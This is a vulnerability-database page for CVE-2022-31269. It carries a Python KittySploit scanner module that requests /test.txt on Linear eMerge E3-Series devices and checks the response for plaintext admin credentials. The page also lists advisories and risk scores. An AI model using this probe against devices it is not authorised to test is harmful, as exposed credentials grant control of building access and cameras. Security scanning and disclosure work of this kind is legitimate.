Lucene search
+L

Linear eMerge E3-Series - Information Disclosure Detection

🗓️ 28 Jul 2026 11:27:38Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 3 Views

Linear eMerge E3-Series information disclosure via /test.txt exposing admin credentials.

Related
Refs
Code
ReporterTitlePublishedViews
Family
zdt
zdt
Nortek Linear eMerge E3-Series Credential Disclosure Vulnerability
8 Aug 202200:00
–zdt
attackerkb
attackerkb
CVE-2022-31269
25 Aug 202222:15
–attackerkb
circl
Circl
CVE-2022-31269
29 Jul 202612:01
–circl
cnnvd
CNNVD
Nortek Control Linear eMerge E3-Series 信任管理问题漏洞
8 Aug 202200:00
–cnnvd
cve
CVE
CVE-2022-31269
25 Aug 202221:59
–cve
cvelist
Cvelist
CVE-2022-31269
25 Aug 202221:59
–cvelist
kitploit
Kitploit
CVE-2022-31269
15 Oct 202614:12
–kitploit
kitploit
Kitploit
CVE-2022-31269
14 Oct 202608:18
–kitploit
nuclei
Nuclei
Linear eMerge E3-Series - Information Disclosure
16 Oct 202602:05
–nuclei
nvd
NVD
CVE-2022-31269
25 Aug 202222:15
–nvd
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Linear eMerge E3-Series devices are susceptible to information disclosure."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'Linear eMerge E3-Series - Information Disclosure Detection',
        'description': 'Linear eMerge E3-Series devices are susceptible to information disclosure. Admin credentials are stored in clear text at the endpoint /test.txt in situations where the default admin credentials have been changed. An attacker can obtain admin credentials, access the admin dashboard, control building access and cameras, and access employee information.',
        'author': ['KittySploit Team'],
        'severity': 'high',
        'tags': ['web', 'scanner', 'cve', 'cve2022', 'emerge', 'exposure', 'packetstorm', 'nortekcontrol', 'vuln'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.3,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'admin_surface',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
            },
        },
        'references': [
            'https://packetstormsecurity.com/files/167990/Nortek-Linear-eMerge-E3-Series-Credential-Disclosure.html',
            'https://www.nortekcontrol.com/access-control/',
            'https://eg.linkedin.com/in/omar-1-hashem',
            'https://nvd.nist.gov/vuln/detail/CVE-2022-31269',
            'https://github.com/ARPSyndicate/cvemon',
        ],
        'cve': 'CVE-2022-31269',
    }

    def run(self):
        r = self.http_request(method="GET", path='/test.txt', allow_redirects=False)
        if not r or r.status_code != 200:
            return False
        body = r.text or ""
        headers = "\n".join(f"{k}: {v}" for k, v in r.headers.items())
        body_all = ('ID=', 'Password=',)
        header_any = ('text/plain',)
        if (all(m in body for m in body_all)) and (any(m in headers for m in header_any)):
            self.set_info(
                severity='high',
                reason="Linear eMerge E3-Series - Information Disclosure detected",
                path='/test.txt',
            )
            return True
        return False

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Jul 2026 11:27Current
8.3High risk
Vulners AI Score8.3
CVSS 3.18.2
EPSS0.06987
3